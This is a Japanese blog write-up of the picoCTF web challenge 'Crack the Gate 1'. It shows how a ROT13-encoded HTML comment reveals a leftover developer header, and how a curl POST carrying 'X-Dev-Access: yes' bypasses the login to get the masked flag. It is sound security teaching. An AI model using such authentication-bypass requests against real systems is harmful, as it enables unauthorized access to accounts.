問題概要
picoCTFの「Crack the Gate 1」という問題の解説記事です。
- カテゴリ: Web Exploitation
- 難易度: Easy
問題文
問題への取り掛かり方
右側のLaunch Instanceボタンをクリックするとページが以下のように切り替わります。
切り替わった画面内の
切り替わった画面内の
hereリンクをクリックすると、問題用のページに遷移します。
解説
この問題では、与えられたウェブページを解析して、隠されたフラグを見つけることが求められます。
ステップ1: 問題文中のemailを使ってログインを試す
まずは、問題文中に記載されているemail
パスワードは不明なので、適当な文字列
ctf-player@picoctf.org を使ってログインを試みます。パスワードは不明なので、適当な文字列
passwordと入力してみます。
案の定、ログインは失敗してしまいました。
ステップ2: ページソース・開発者ツールで手がかりを探す
やみくもにパスワードを試すのは効率が悪いので、ページソースや開発者ツールを使って手がかりを探します。
※筆者はGoogle Chromeを使用しています。
※筆者はGoogle Chromeを使用しています。
htmlの要素を確認しているとbodyタグ内に、怪しげなコメント(
ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf")を発見しました。 このコメントは以下の理由から、ROT13でエンコードされている可能性が高いと考えられます。
- = や / + が含まれておらず、Base64の特徴に当てはまらない
- スペースや : - " が含まれている
- Hex(16進数)ではない
- 英文の形をしている
- % が含まれていない
- 記号がそのまま残っている
- ランダムに見えない
- 単語の区切りや文章構造が保たれている
ステップ3: コメントのデコード
ROT13デコードを試みます。
$ echo 'ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf"' | tr 'A-Z' 'N-ZA-M'
NOTE: Jack - temporary bypass: use header X-Dev-Access: yes
デコードの結果
NOTE: Jack - temporary bypass: use header X-Dev-Access: yesというメッセージを得ることができました。ステップ4: ヘッダーの追加とログイン
デコード後のコメントから、
X-Dev-Access: yesというヘッダーを追加することで、ログインが可能になることがわかります。そこで、curlコマンドを使用して、ヘッダーを追加したPOSTリクエストを送信し、再度ログインを試みます。
※passwordは何でも良いです。
※passwordは何でも良いです。
$ curl -X POST http://{仮想サイトのURL}/login \
-H "Content-Type: application/json" \
-H "X-Dev-Access: yes" \
-d '{"email":"ctf-player@picoctf.org","password":"anything"}'
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{xxxxxx}"}
ログインが成功し、フラグを取得することができました。
※フラグはマスクしています。
※フラグはマスクしています。
使用したコマンドの軽い解説
tr
$ echo <文字列> | tr <変換元文字列> <変換先文字列>
指定した文字列の各文字を、対応する変換先文字列の文字に置き換えます。
例えば、
ROT13のデコードに使用されました。
例えば、
tr 'A-Z' 'N-ZA-M'は、AからZまでのアルファベットをNからZおよびAからMに変換します。ROT13のデコードに使用されました。
curl
$ curl -X <HTTPメソッド> <URL> -H "<ヘッダー名>: <ヘッダー値>" -d '<データ>'
指定したURLに対してHTTPリクエストを送信します。
今回は、
-XオプションでHTTPメソッドを指定し、-Hオプションでヘッダーを追加し、-dオプションでリクエストボディを指定します。今回は、
X-Dev-Access: yesというヘッダーを追加してPOSTリクエストを送信するために使用されました。まとめ
この問題では、ページソース内のコメントからROT13でエンコードされた手がかりを見つけ出し、指定されたヘッダーを追加してログインを成功させることで、フラグを取得しました。
▼ポイントは以下の通りです。
- ページソースや開発者ツールを活用して手がかりを探す
- ROT13デコードの理解と実践
- curlコマンドを使用してカスタムヘッダー付きのHTTPリクエストを送信する方法
体系的に学びたい人へ(おすすめ書籍)
今回のように「開発者向けのヘッダーが残っていた」系は、 設計や実装・運用のちょっとした油断から生まれます。 Webアプリの作り方と脆弱性対策をまとめて整理したい場合は、この本が役に立ちます。
▼体系的に学ぶWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践
閲覧ありがとうございました!
NEXT
次におすすめ
読み終わったら、そのまま次へ
【picoCTF】SSTI1 - Jinja系SSTIでPythonオブジェクトにアクセスしてフラグ奪取
カテゴリ: Web Exploitation難易度: Easy#picoCTF
次の記事へ →
同じカテゴリ/難易度/picoCTFでの表示順が近い記事を優先しておすすめしています。